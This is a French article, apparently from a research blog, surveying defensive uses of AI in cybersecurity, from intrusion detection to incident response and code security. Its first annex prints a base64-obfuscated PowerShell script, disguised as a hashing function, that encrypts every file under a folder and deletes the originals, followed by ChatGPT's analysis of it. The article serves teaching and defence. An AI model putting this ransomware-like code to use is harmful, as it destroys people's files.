L’IA défensive

Nederlandstalige versie

Dans un premier article, nous avons brièvement expliqué ce qui se cache derrière le terme « d’intelligence artificielle (IA) » en décrivant quelques techniques de base utilisées en cybersécurité. Dans un deuxième article, nous avons traité de l’utilisation de l’IA pour faciliter les attaques contre des systèmes informatiques. En particulier, nous avons détaillé comment l’IA pourrait modifier ou modifie déjà plusieurs vecteurs d’attaques.

Dans le dernier article de cette série, après quelques considérations générales, nous passons en revue des domaines de la cyber-défense tirant parti ou pouvant tirer parti de l’IA tels que le renseignement sur les cyber-attaques, la détection et l’identification de cyber-attaques, ou encore la réponse à des incidents de cybersécurité.

Introduction

Dès 2018, Schneier [1] estimait que la cyber-défense allait bénéficier d’avantage des techniques d’IA que la cyber-offensive, car selon lui, la défense était dans une moins bonne position que l’attaque, précisément à cause de ses importants composants humains. De plus il prédisait que les adversaires allaient continuer d’améliorer leur stratégie d’attaque grâce à l’automatisation, de sorte que le seul moyen efficace d’atténuer ces attaques à la vitesse de la machine serait l’automatisation. C’est une thèse également défendue par Sarker et al. [2] qui soutiennent que l’IA pourrait révolutionner le domaine de la cybersécurité, en offrant non seulement une automatisation des tâches à grande échelle, mais aussi en aidant les experts humains à mieux comprendre une situation et à prendre des décisions dans des scénarios réels.

La société Gartner s’attend quant à elle, à ce que l’IA contribue à une réduction de 30% du taux de faux positifs dans les tests d’applications et la détection de menaces avant 2027 [3]. Les nouveaux outils récemment annoncés par des entreprises importantes du marché, dont CrowdStrike, pourraient en effet, selon Gartner aider à améliorer la productivité et les compétences des administrateurs. Les idées ne manquent pas, mais comme le soulignent les auteurs de la note de la société de conseil, les fonctionnalités de recherche et d’analyse existent déjà et la nouveauté réside essentiellement dans l’interactivité entre les analystes humains et la machine.

Taddeo et al. [4] temporisent l’engouement pour l’IA dans la cyber-défense en faisant remarquer que placer sa confiance dans l’IA pour la robustesse, la résilience et la réponse des systèmes de cybersécurité n’est pas méritée et insistent qu’une forme de contrôle est nécessaire pour réduire les risques de sécurité. Les auteurs utilisent le terme de confiance dans son terme le plus pur : une décision de déléguer, sans forme de contrôle ou de surveillance, une acceptation d’un risque de dépendance. Ils pointent le manque de transparence de l’IA et l’évolution d’un système d’IA dans le temps comme des limites importantes et recommandent notamment une mise en œuvre « maison » pour les infrastructures nationales critiques et une surveillance permanente du système d’IA et de son évolution.

Dasgupta et al. [5] ont passé en revue la plupart des publications récentes utilisant l’IA dans le domaine de la cybersécurité. Un point crucial reste selon eux la performance (en termes de vitesse de réaction, mais également de réduction du taux de faux-positifs et faux-négatifs) des outils de détection qui peut avoir des conséquences importantes sur le système où ils sont déployés.

Dans les sections suivantes nous regardons plus en détails différents domaines de la cyber-défense pouvant tirer parti de l’IA.

Renseignement sur les cyber-attaques

Le renseignement sur les cyber-menaces est le processus de collecte, d’analyse et de diffusion d’informations sur les cyber-menaces actuelles et émergentes, telles que les acteurs, les cibles, les techniques, les outils, etc. Ces renseignements peuvent aider les organisations à se défendre de manière proactive contre les cyber-attaques en fournissant des informations exploitables et opportunes aux équipes de sécurité.

De nos jours, le renseignement d’origine de sources ouvertes (ROSO – « Open-Source Intelligence (OSINT) ») est largement adopté par les gouvernements et les services de renseignement pour mener leurs enquêtes et lutter contre la cyber-criminalité [6]. Le projet européen DiSIEM1 avait pour premier objectif l’intégration de diverses sources de données ROSO dans les systèmes de gestion des informations et événements de sécurité (« Security Information and Event Management (SIEM) ») pour aider à réagir aux vulnérabilités récemment découvertes dans l’infrastructure ou même à prédire d’éventuelles menaces émergentes2.

En principe un modèle de langage massif (« Large Language Models (LLM) ») entraîné sur de larges sources de données comme les forums web, les sites spécialisés sur les vulnérabilités et incidents, ou les réseaux sociaux, pourrait être utilisé afin de générer des rapports de renseignement sur les cyber-menaces. Les LLM pourraient donc être utilisés pour accéder plus rapidement à de la documentation technique, des renseignements d’intelligence provenant de sources spécialisées. Par exemple Sewak et al. [8] affirment que les LLM peuvent automatiquement extraire, valider et résumer des informations provenant de diverses sources, telles que des rapports de menaces, de la littérature, des scripts, etc. Ils montrent notamment comment les LLM peuvent identifier les intentions malveillantes dans des scripts. Leur approche permettrait de découvrir plus de 90%3 des scripts effectivement malveillants dans une tâche de détection.

Détection et identification de cyber-attaques

L’IA peut jouer un rôle dans la détection et l’identification des cyber-attaques en améliorant les systèmes de détection d’intrusions et de logiciels malveillants et en permettant de mieux gérer les alertes.

Détection d’intrusions

Selon le NIST [9], un système de détection d’intrusions (IDS) se réfère au « processus de surveiller les événements se produisant dans un système informatique ou un réseau et de les analyser pour des signes d’incidents possibles. » Bien que les premiers développements de tels systèmes se soient concentrés sur des approches par signature, en 1986, Denning publiait un modèle d’IDS [10] basé sur la détection d’anomalies4 qui constitue encore aujourd’hui la base de nombreux systèmes. L’avantage principal des méthodes basées sur la détection d’anomalies est que celles-ci peuvent détecter des types d’incidents qui n’ont pas déjà été vus. Aujourd’hui ce sont les méthodes d’apprentissage automatiques non-supervisées qui sont couramment utilisées pour la détection d’anomalies : l’activité sur le réseau est comparée avec une ligne de base pré-entraînée et normalisée qui présente le comportement normal, ce qui permet au système de détecter des activités malveillantes inconnues, contrairement aux méthodes par signature.

Une approche est d’entraîner un réseau de neurones artificiels à apprendre si un trafic réseau est normal ou correspond à une classe d’attaques. En pratique cela demande les étapes suivantes :

  1. Un expert collecte un ensemble de données contenant à la fois le trafic normal du réseau de communication et des attaques.
  2. Sur une machine très puissante, un réseau de neurones est entraîné à classer la différence entre le trafic normal et le trafic d’attaque.
  3. Une copie du modèle appris lors de l’étape précédente est transférée sur le système opérationnel de détection d’intrusion de l’organisation.
  4. Le système de détection d’intrusions applique le modèle sur le trafic réseau observé.

Les choix de méthodes d’apprentissage sont nombreux, mais selon Appruzzese et al. [11], les méthodes d’apprentissage non-supervisé sont particulièrement appréciées pour les systèmes de détection d’intrusion sur les réseaux de communication en raison de la difficulté et du coût d’obtenir des données étiquetées. Par ailleurs, selon ces auteurs, la supériorité des réseaux d’apprentissage profonds pour la détection d’intrusions, par rapport à d’autres techniques d’IA, n’est pas prouvée et la complexité et le coût de calcul supplémentaire ne justifient pas nécessairement leur adoption.

Voici quelques exemples d’utilisation de techniques non-supervisées utilisées pour la détection d’intrusions :

  • Bohara et al. [12] utilisent plusieurs techniques de détection d’anomalies et notamment l’analyse en composantes principales (« Principal Component Analysis (PCA)»), le partitionnement en k-moyennes, et la détection de valeurs aberrantes basée sur l’écart absolu médian afin de détecter des mouvements latéraux5 sur un réseau. Ces auteurs atteignent un taux de vrais positifs (TPR) de 88.7% et un taux de faux positifs (FPR) de 14.1%.
  • Dans [13], les auteurs présentent une méthode pour générer automatiquement une liste grise d’hôtes externes qui ont une probabilité élevée d’être impliqués dans des activités de balisage malveillant par rapport à l’ensemble de tous les hôtes externes habituellement contactés par l’organisation protégée. Leur proposition s’appuie sur des techniques de regroupement appliquées aux flux de réseaux.
  • Afin d’adresser le problème de déséquilibre entre le nombre d’échantillons positifs et négatifs dans les journaux d’intrusion (très peu de trafic malveillant par rapport au trafic légitime), Yang et al. [14] utilisent un réseau antagoniste génératif convolutif profond (« Deep Convolutional Generative Adversarial Network (DCGAN) ») afin de construire un système de détection d’intrusion en temps réel. Le DCGAN maintient un équilibre entre échantillons positifs et négatifs en générant de nouvelles données synthétiques. Afin de permettre l’analyse en temp réel, les auteurs utilisent des unités récurrentes fermées (« Gates Recurrent Units (GRU) »), qui sont plus efficaces qu’un réseau récurrent à mémoire court et long terme (LSTM) car utilisant moins de paramètres. Le système atteint une exactitude de 99,73%.

Enfin, les outils basés sur les modèles massifs de langage ont aussi commencé à faire leur apparition dans la détection d’intrusion. Par exemple, l’outil PentestGPT6 est un outil de tests d’intrusions optimisés par des LLM (en l’occurrence ChatGPT-4) et permet l’automatisation du processus de test d’intrusion en guidant les testeurs dans l’opération globale et les opérations spécifiques. PentestGPT a été testé avec succès sur « HackTheBox7 » et à travers diverses compétitions de capture de drapeau (« Capture the Flag (CTF) ») de niveau facile ou moyen.

Détection de logiciels malveillants

L’apprentissage automatique peut être utilisé à la fois pour l’analyse statique et l’analyse dynamique des logiciels malveillants. Cependant l’analyse statique est sujette à des contournements relativement simples en modifiant l’exécutable sans changer la logique sous-jacente ou avec des variantes plus avancées (p. ex. polymorphisme) modifiant l’exécutable de manière automatique.

Les analyses dynamiques combinées avec un apprentissage automatique s’avèrent plus efficaces [11]. Mais il existe plusieurs limites à l’applicabilité des dernières avancées universitaires dans le domaine de l’apprentissage automatique à la détection de logiciels malveillants [15], notamment :

  • Mauvaise interprétation de la mesure de performance, en partie due à l’oubli de la fréquence de base – un biais cognitif lié aux lois statistiques8;
  • Les bases de données de tests sont souvent vieilles de plusieurs années et ne tiennent donc pas compte des nouvelles méthodes de contournement mises en œuvre par les adversaires, ni des nouvelles interfaces de programmation applicatives disponibles. Selon [16], un grand nombre de travaux récents concernant l’apprentissage fédéré pour la détection d’intrusions, utilisent encore des bases de données publiques créée avant 2017, et donc avec des attaques ne reflétant pas nécessairement les réseaux de communication actuels.

Gestion des alertes

Le triage des alertes de sécurité est une tâche qui demande relativement beaucoup de temps, mais qui peut être accélérée en mettant des informations contextuelles à disposition des analystes afin que ceux-ci n’aient pas à passer d’un outil de journalisation ou d’analyse à l’autre afin de comprendre ce qui se passe. Par exemple : géolocalisation d’une adresse IP, nom de l’organisation contrôlant l’IP, âge du domaine, réputation d’une valeur de hachage d’un fichier, type de fichier correspondant, copie d’écran automatique d’une URL, informations sur l’hôte et son environnement, etc. Ces alertes pourraient aussi être enrichies directement par un LLM (p. ex. catégorisation, information issue des services de renseignement spécialisés, score de risque).

De plus des techniques d’apprentissage automatique peuvent être utilisées pour le filtrage, le triage, la priorisation et l’agrégation d’alertes, afin de faciliter le triage et la réponse aux incidents. Par exemple Su et al. [17] proposent une méthode pour automatiser le filtrage des faux positifs en utilisant une estimation par noyau9 (« Kernel density estimation (KDE) »). Selon les auteurs, celle-ci réduit jusqu’à 75% le temps nécessaire pour la vérification des alertes.

Réponse à des incidents de cybersécurité

La réponse aux incidents est un élément clé de la stratégie de cybersécurité d’une organisation. Une réponse bien orchestrée peut contribuer à atténuer les dommages causés par une violation de la sécurité ou une cyber-attaque. Cependant, la rapidité et la précision de ces réponses sont primordiales. Les LLM peuvent contribuer à accélérer et à rationaliser ces processus, en fournissant des réponses automatisées et même en aidant à élaborer des plans d’intervention en cas d’incident. L’une des caractéristiques de l’architecture de ces LLM est leur capacité à générer du texte naturel, basé sur le contexte. Elle peut être exploitée pour créer un assistant de réponse aux incidents alimenté par l’IA, capable de fournir des conseils immédiats pendant un incident et de documenter automatiquement les événements au fur et à mesure qu’ils se déroulent. Par exemple, PaloAlto XSOAR10 utilise ChatGPT pour générer des guides permettant de gérer certaines attaques (voir Figure 1).

Dear Analyst,

The following is an analysis for Incident No. #3332 by ChatGPT:

1- Analysis (Incident Description):

On Tuesday 2023-May-09 at 12:46:03 PM, a workstation with the hostname “testlab” was compromised through the MitreAttack technique of OS Credential Dumping by the Poseidon Group. The indicator of compromise, 31ebide7840a342fd468e558e5ab627bcb4c542a8fe01aec4d5ba01d539aOfc, has a malicious reputation.

2- Impact Analysis:

The compromised workstation may have granted the attacker access to sensitive information and credentials on the network, which could potentially lead to further attacks and data breaches. The Poseidon Group is a known advanced persistent threat (APT) group, and their attacks are often highly targeted and sophisticated, making it imperative to respond quickly and effectively to mitigate potential damage.

3- Action or Recommendations:

  1. Isolate the compromised workstation: The first step in responding to a security incident is to isolate the compromised system from the network to prevent further damage or spread of the attack. The compromised workstation with the IP address 10.10.10.10 should be taken offline immediately to prevent the attacker from further accessing or exfiltrating sensitive information.
  2. Conduct a forensic investigation: A thorough forensic investigation should be conducted to determine the extent of the damage and whether any other machines on the network have been compromised. The investigation should aim to identify the initial point of entry, the scope of the attack, and any data that may have been exfiltrated by the attacker.
  3. Remediate and patch vulnerabilities: The investigation should identify any vulnerabilities or weaknesses in the security infrastructure that allowed the attack to take place and patch or remediate these as quickly as possible to prevent similar incidents from occurring in the future.
  4. Deploy additional security measures: Additional security measures may need to be deployed to prevent further attacks by the Poseidon Group or other APT groups. This may include deploying intrusion detection and prevention systems, implementing Two-Factor Authentication (2FA), and training employees on how to identify and respond to potential security incidents.
  5. Notify appropriate authorities: Depending on the sensitivity and nature of the data that may have been compromised, it may be necessary to notify appropriate authorities such as law enforcement or regulatory bodies.

The company should review their incident response plan and determine the appropriate steps to take regarding notification and disclosure.


Your SOC Team
Cortex XSOAR

Figure 1 – Informations proposée par XSOAR pour gérer une réponse à un incident de sécurité (d’après [18]).

Ferrag et al. [19] utilisent FalconLLM11 afin d’analyser la sévérité et l’impact potentiel d’une attaque identifiée par un système de détection d’intrusions en la comparant avec sa base de données interne. De manière similaire à PaloAlto XSOAR, l’outil permet également de proposer des stratégies d’atténuation potentielles et des procédures de rétablissement, pouvant ainsi guider une équipe d’intervention. Les réponses proposées restent cependant très générales et peuvent ne pas être utiles à un administrateur expérimenté (voir Figure 2).

Cyber Threats detected by SecurityBERT:

SecurityBERT has detected a cyber threat in our industrial network: a Backdoor attack. Can you propose to me a mitigation solution?

FalconLLM model incident response and recovery output:

Yes, I can. There are a few steps that can be taken to mitigate the Backdoor threat. Firstly, it’s important to identify the source of the attack. This could be done by monitoring the network traffic and looking for any suspicious activity. Once the source has been identified, it’s important to block any further attempts to access the network. This can be done by implementing firewalls, intrusion detection systems, and other security measures. Additionally, it’s important to update all software and patches to ensure that the network is as secure as possible. It’s also a good idea to regularly audit the network for any potential vulnerabilities.

Figure 2 – Exemple de solution de stratégie d’atténuation proposée par FalconLLM (source [19]).

L’IA générative peut également permettre d’automatiser certains aspects de l’analyse des cyber-incidents par les analystes d’un centre des opérations de sécurité. Par exemple, selon A. Krishnan [20], ChatGPT pourrait être utilisé pour décrire ce que fait un script Powershell (voir exemple en annexe). De manière similaire, ces outils permettant aussi de générer du code, il est donc possible d’envisager leur utilisation pour faciliter l’écriture de scripts d’analyse de journaux par des analystes (voir annexe).

L’automatisation de la réponse à des incidents est aussi envisagée, mais un problème important reste l’attribution de la responsabilité. Celle-ci est rendue d’autant plus difficile, qu’à ce jours les systèmes d’IA sont encore peu transparents et difficilement explicables.

Enfin, les rapports détaillés sur les incidents de cybersécurité jouent un rôle important pour aider les principales parties prenantes, notamment les équipes opérationnelles de sécurité, les responsables de la sécurité, afin de mieux comprendre et améliorer la posture de sécurité d’une organisation. Certains envisagent l’utilisation d’IA générative afin de synthétiser les journaux d’incidents et rédiger des rapports permettant d’agir plus rapidement.

Génération de code sécurisé

Les vulnérabilités de sécurité dans le code sont un problème récurrent affectant la plupart des logiciels et ayant un impact sur l’intégrité, la confidentialité et la disponibilité. L’utilisation de certains langages de programmation connus pour être moins susceptibles que d’autres à des problèmes classiques est recommandée (par exemple Rust plutôt que C). L’examen du code par d’autres programmeurs experts est aussi une méthode largement répandue.

Mais l’analyse de Ganseman [21] conduit à se poser la question de l’utilité des LLM pour détecter des erreurs ou bogues dans du code existant ou pour aider à écrire du code plus sécurisé. La difficulté réside dans le fait, qu’à ce jour, il faut indiquer les endroits potentiels où le code n’est pas sûr, c’est-à-dire que c’est le développeur qui doit détecter où une amélioration est possible. Il se pourrait que dans un avenir proche, une base de code entière puisse être soumise à un examen de sécurité, mais pour l’instant, cela reste limité à la longueur du contexte et plus la question est précise, meilleure est la réponse.

Paradoxalement, Perry et al. [22] ont rapporté dans une étude récente que, bien que les assistants augmentent la productivité des développeurs, les participants ayant accès à un assistant basé sur un modèle d’IA (en l’occurrence le codex-davinci-002 de OpenAI) écrivaient un code significativement moins sécurisé que ceux sans accès. Pire, les participants avec un accès à l’assistant étaient plus enclins à croire qu’ils écrivaient du code sécurisé, que ceux sans l’assistant. L’adoption d’assistants impose donc la mise en place de pratiques de revue de code et d’analyse statique systématiques [21].

Conclusion

Même si les progrès de l’IA sont fulgurants dans beaucoup de domaines, l’apport non-négligeable de l’IA à la défense des systèmes informatiques reste néanmoins limité : nous sommes en effet encore loin des outils où il suffirait de donner des terra-octets de divers journaux d’événements pour que rapidement les signes d’intrusions soient détectés avec très peu d’erreur.

Aujourd’hui les méthodes statistiques spécialisées et d’apprentissage automatique – comme par exemple la détection d’anomalies – continuent de faire l’objet de recherches importantes et sont ajoutées aux outils commerciaux de détection d’intrusion avec l’étiquette « IA. » Mais en y regardant de plus près, l’IA apparaît principalement comme un nouvel outil de « productivité » pour des professionnels de cybersécurité, contribuant à l’automatisation de certaines tâches de cyber-défense, ou facilitant la réponse à des incidents et le traitement des renseignements sur les menaces, mais ne remplaçant pas l’analyste humain.

Références

[1]        B. Schneier, « Artificial Intelligence and the Attack/Defense Balance », IEEE Secur. Priv., vol. 16, no 2, p. 96‑96, mars 2018, doi: 10.1109/MSP.2018.1870857.

[2]        I. H. Sarker, H. Janicke, L. Maglaras, et S. Camtepe, « Data-Driven Intelligence can Revolutionize Today’s Cybersecurity World: A Position Paper ». arXiv, 9 août 2023. Consulté le: 27 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2308.05126

[3]        J. D’Hoinne, A. Litan, et P. Firstbrook, « 4 Ways Generative AI Will Impact CISOs and Their Teams », Gartner, G00793265, juin 2023.

[4]        M. Taddeo, T. McCutcheon, et L. Floridi, « Trusting artificial intelligence in cybersecurity is a double-edged sword », Nat. Mach. Intell., vol. 1, no 12, p. 557‑560, nov. 2019, doi: 10.1038/s42256-019-0109-1.

[5]        D. Dasgupta, Z. Akhtar, et S. Sen, « Machine learning in cybersecurity: a comprehensive survey », J. Def. Model. Simul. Appl. Methodol. Technol., vol. 19, no 1, p. 57‑106, janv. 2022, doi: 10.1177/1548512920951275.

[6]        M. Nouh, J. R. C. Nurse, H. Webb, et M. Goldsmith, « Cybercrime Investigators are Users Too! Understanding the Socio-Technical Challenges Faced by Law Enforcement », in Proceedings 2019 Workshop on Usable Security, 2019. doi: 10.14722/usec.2019.23032.

[7]        J. R. G. Evangelista, R. J. Sassi, M. Romero, et D. Napolitano, « Systematic Literature Review to Investigate the Application of Open Source Intelligence (OSINT) with Artificial Intelligence », J. Appl. Secur. Res., vol. 16, no 3, p. 345‑369, juill. 2021, doi: 10.1080/19361610.2020.1761737.

[8]        M. Sewak, V. Emani, et A. Naresh, « CRUSH: Cybersecurity Research using Universal LLMs and Semantic Hypernetworks », 2023.

[9]        K. A. Scarfone et P. M. Mell, « Guide to intrusion detection and prevention systems (IDPS) », National Institute of Standards and Technology, Gaithersburg, MD, NIST SP 800-94, 2007. doi: 10.6028/NIST.SP.800-94.

[10]       D. Denning, « An Intrusion-Detection Model », IEEE Trans. Softw. Eng., vol. 13, no 2, p. 222‑232, 20.

[11]       G. Apruzzese et al., « The role of machine learning in cybersecurity », Digit. Threats Res. Pract., vol. 4, no 1, p. 1‑38, mars 2023, doi: 10.1145/3545574.

[12]       A. Bohara, M. A. Noureddine, A. Fawaz, et W. H. Sanders, « An Unsupervised Multi-Detector Approach for Identifying Malicious Lateral Movement », in 2017 IEEE 36th Symposium on Reliable Distributed Systems (SRDS), Hong Kong, Hong Kong: IEEE, sept. 2017, p. 224‑233. doi: 10.1109/SRDS.2017.31.

[13]       G. Apruzzese, M. Marchetti, M. Colajanni, G. G. Zoccoli, et A. Guido, « Identifying malicious hosts involved in periodic communications », in 2017 IEEE 16th International Symposium on Network Computing and Applications (NCA), Cambridge, MA: IEEE, oct. 2017, p. 1‑8. doi: 10.1109/NCA.2017.8171326.

[14]       J. Yang, T. Li, G. Liang, W. He, et Y. Zhao, « A Simple Recurrent Unit Model Based Intrusion Detection System With DCGAN », IEEE Access, vol. 7, p. 83286‑83296, 2019, doi: 10.1109/ACCESS.2019.2922692.

[15]       L. Cavallaro, J. Kinder, F. Pendlebury, et F. Pierazzi, « Are Machine Learning Models for Malware Detection Ready for Prime Time? », IEEE Secur. Priv., vol. 21, no 2, p. 53‑56, mars 2023, doi: 10.1109/MSEC.2023.3236543.

[16]       J. L. Hernández-Ramos et al., « Intrusion detection based on federated learning: a systematic review ». arXiv, 18 août 2023. Consulté le: 17 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2308.09522

[17]       Y.-H. Su, M. C. Y. Cho, et H.-C. Huang, « False Alert Buster: an Adaptive Approach for NIDS False Alert Filtering », in Proceedings of the 2nd International Conference on Computing and Big Data, Taichung Taiwan: ACM, oct. 2019, p. 58‑62. doi: 10.1145/3366650.3366657.

[18]       M. Gupta, C. Akiri, K. Aryal, E. Parker, et L. Praharaj, « From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy », IEEE Access, vol. 11, p. 80218‑80245, août 2023, doi: 10.1109/ACCESS.2023.3300381.

[19]       M. A. Ferrag, M. Ndhlovu, N. Tihanyi, L. C. Cordeiro, M. Debbah, et T. Lestable, « Revolutionizing Cyber Threat Detection with Large Language Models ». arXiv, 25 juin 2023. Consulté le: 8 novembre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2306.14263

[20]       A. Krishnan, « 4 ChatGPT cybersecurity benefits for the enterprise | TechTarget », Security. Consulté le: 12 octobre 2023. [En ligne]. Disponible sur: https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise

[21]       J. Ganseman, « LLM pour code : the Good, the Bad and the Ugly | Smals Research », Smals Research Blog. Consulté le: 18 octobre 2023. [En ligne]. Disponible sur: https://www.smalsresearch.be/llms-pour-code/

[22]       N. Perry, M. Srivastava, D. Kumar, et D. Boneh, « Do Users Write More Insecure Code with AI Assistants? » arXiv, 16 décembre 2022. Consulté le: 3 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2211.03622

Annexe 1 – Analyse de script malveillant avec ChatGPT

L’exemple ci-dessous montre la réponse de ChatGPT 4.0 à la question « Que fait ce code ? » suivie d’un échantillon de code. On constate que malgré la tentative d’obfuscation et les commentaires erronés, ChatGPT analyse avec pertinence ce script qui chiffre tous les fichiers dans le dossier “C:\Local\chat_gpt_ps\test” ses sous-dossiers.

Script soumis à ChatGPT

function Compute_SHA256 {
  # Compute SHA 256 of an object in memory
  [CmdletBinding()]
  [OutputType([string])]
    Param
    (
      [Parameter(Mandatory = $true)]
        [String]$salt,
        [Parameter(Mandatory = $true, ParameterSetName = "param")]
        [String]$object
    )
    Begin {
        # Initialise hashing function
        $tmp = New-Object byte[] 16
        $sha1 = New-Object System.Security.Cryptography.SHA256Managed
        $sha2 = New-Object System.Security.Cryptography.AesManaged
        $sha2.Mode = 'CBC' -as [System.Security.Cryptography.CipherMode]
        $sha2.Padding = 'Zeros' -as [System.Security.Cryptography.PaddingMode]
        $sha2.BlockSize = 128
        $sha2.KeySize = 256
        [void][Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($tmp)
        $sha2.IV = $tmp
    }
    Process {
        # Compute hash
        $sha2.Key = $sha1.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($salt))
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("R2V0LUl0ZW0gLVBhdGggJG9iamVjdCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ=="))
        $object2 = Invoke-Expression $dynCmd
        if (!$object2.FullName) {
            break
        }
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRvYmplY3QyLkZ1bGxOYW1lKQ=="))
        $input = Invoke-Expression $dynCmd
        $output = $object2.FullName + ".xxx"
        $sha2_hasher = $sha2.CreateEncryptor()
        $encryptedBytes = $sha2_hasher.TransformFinalBlock($input, 0, $input.Length)
        $encryptedBytes = $sha2.IV + $encryptedBytes
        $sha2.Dispose()
       
        $e = $output
        $encD = $encryptedBytes
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZSwgJGVuY0Qp"))
        Invoke-Expression $dynCmd
        (Get-Item $output).LastWriteTime = $object2.LastWriteTime
        $f = $object2
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'"
        Invoke-Expression $dynCmd
        return "Sortie: $output"        
    }
    End {
        $sha1.Dispose()
        $sha2.Dispose()
    }
}

$dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("R2V0LUNoaWxkSXRlbSAtUGF0aCAiQzpcTG9jYWxcY2hhdF9ncHRfcHNcdGVzdCIgLUZpbGUgLVJlY3Vyc2U="))

Invoke-Expression $dynCmd | ForEach-Object {
    $object = $_.FullName
    Compute_SHA256 -salt "salty" -object $object
}

Réponse de ChatGPT

Ce script PowerShell définit une fonction nommée Compute_SHA256, qui effectue plusieurs opérations sur les fichiers, notamment le calcul du hachage SHA-256, le chiffrement AES, et la manipulation de fichiers. Voici un détail étape par étape de ce que fait le script :

  1. Initialisation :
    • Définition de paramètres pour la fonction Compute_SHA256 qui incluent un salt et un object (nom de fichier).
    • Initialisation d’un objet de cryptographie AES ($sha2) avec des paramètres spécifiques pour le mode de chiffrement, le padding, la taille de bloc, et la taille de clé.
  2. Traitement :
    • Utilisation de SHA-256 pour générer une clé de chiffrement à partir du salt
    • Déchiffrement de chaînes codées en Base64 pour obtenir des commandes PowerShell qui sont exécutées dynamiquement pour :
      • Lire le contenu d’un fichier spécifié.
      • Chiffrer le contenu du fichier avec AES en utilisant la clé générée précédemment.
      • Concaténer le vecteur d’initialisation (IV) avec le contenu chiffré.
      • Écrire les données chiffrées dans un nouveau fichier avec l’extension .xxx.
      • Mettre à jour le timestamp du nouveau fichier pour qu’il corresponde à celui de l’original.
      • Supprimer le fichier original.
  1. Fin de traitement :
    • Libération des ressources utilisées par les objets de cryptographie.
  2. Exécution :
    • Le script exécute une commande pour lister tous les fichiers dans un chemin spécifié de manière récursive.
    • Pour chaque fichier trouvé, il appelle la fonction Compute_SHA256 avec un salt fixe (“salty”) et le chemin du fichier.

Objectifs principaux du script

  • Chiffrer des fichiers : Le contenu des fichiers est chiffré avec AES, utilisant une clé dérivée d’un salt.
  • Suppression sécurisée : Après le chiffrement, les fichiers originaux sont supprimés, ce qui pourrait être utilisé pour une sorte de nettoyage de données.
  • Automatisation de processus : L’exécution des commandes est effectuée de manière dynamique, probablement pour masquer les actions effectuées (en utilisant le décodage Base64 pour cacher les commandes réelles).

Points d’attention

  • Sécurité : Le script effectue des actions dynamiques (via Invoke-Expression), ce qui peut être risqué si les entrées ne sont pas correctement validées ou si le script est utilisé dans un environnement non sécurisé.

Modification de données : Il supprime les fichiers originaux après le chiffrement, ce qui peut entraîner une perte de données si le processus n’est pas contrôlé.

Question complémentaire

Où constates-tu que les fichiers originaux sont supprimés?

Réponse de ChatGPT

Les fichiers originaux sont supprimés à la fin de la section de traitement (Process) de la fonction Compute_SHA256. Cela est réalisé grâce à ces étapes spécifiques dans le script :

  1. La variable $f est assignée à $object2, qui contient les informations sur le fichier original.
  2. Une chaîne de commande est construite pour exécuter la commande Remove-Item, qui est utilisée pour supprimer des fichiers. La commande est constituée en concaténant la chaîne “Remove-Item -Path “ avec le chemin complet du fichier contenu dans $f.
  3. La commande complète est exécutée avec Invoke-Expression, effectuant la suppression du fichier original spécifié par $f.

Voici la portion pertinente du script où cela se produit :

$f = $object2
$dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'"
Invoke-Expression $dynCmd

La chaîne codée en Base64 “UmVtb3ZlLUl0ZW0gLVBhdGgg” est décodée pour donner “Remove-Item -Path “, formant ainsi la commande complète pour supprimer le fichier.

Annexe 2 – Génération de script d’analyse

Example de génération d’un script d’analyse très simple d’un journal d’événement dans le langage SPL de Splunk.

Demande faite à ChatGPT

Écris un script Splunk qui filtre les entrées dont l’adresse source IP n’est pas réservée et n’est pas en Belgique et dont la destination est une IP de classe A commençant par 10.

Réponse de ChatGPT

Pour créer un script Splunk qui filtre les entrées de journalisation en fonction de l’adresse IP source (qui n’est ni réservée ni en Belgique) et de l’adresse IP de destination (qui commence par 10), il faudrait d’abord disposer d’une liste des plages d’adresses IP attribuées à la Belgique. Cependant, Splunk en soi n’effectue pas de géolocalisation directe des adresses IP. Vous auriez besoin d’une table de correspondance IP-pays ou d’utiliser une fonctionnalité d’enrichissement des données qui mappe les adresses IP aux pays.

Pour les besoins de cet exemple, je vais supposer que vous avez accès à une telle table ou à une fonctionnalité dans Splunk. Je vais également supposer que les champs sont nommés src_ip pour l’adresse IP source et dest_ip pour l’adresse IP de destination.

Voici comment pourrait ressembler votre script Splunk :

index=ton_index | lookup ip_country_lookup src_ip OUTPUT country | search NOT [ search index=ton_index | lookup ip_country_lookup src_ip OUTPUT country | search country="BE" | fields src_ip ] | regex src_ip!="^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)" | regex dest_ip="^10\." | table src_ip, dest_ip, country, _raw

Explication du script :

  1. index=ton_index : Remplace ton_index par l’index approprié qui contient tes données de logs.
  2. lookup ip_country_lookup src_ip OUTPUT country : Effectue un lookup pour déterminer le pays de l’adresse IP source. Remplace ip_country_lookup par le nom réel de ta table de lookup ou de ton enrichissement de données qui mappe les adresses IP aux pays.
  3. La sous-requête search NOT […] exclut toutes les adresses IP provenant de la Belgique. fields src_ip est utilisé pour retourner uniquement les adresses IP de la sous-requête.
  4. regex src_ip!="^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)" : Exclut les adresses IP réservées.
  5. regex dest_ip=”^10\.” : Filtre pour inclure uniquement les entrées dont l’adresse IP de destination commence par 10.
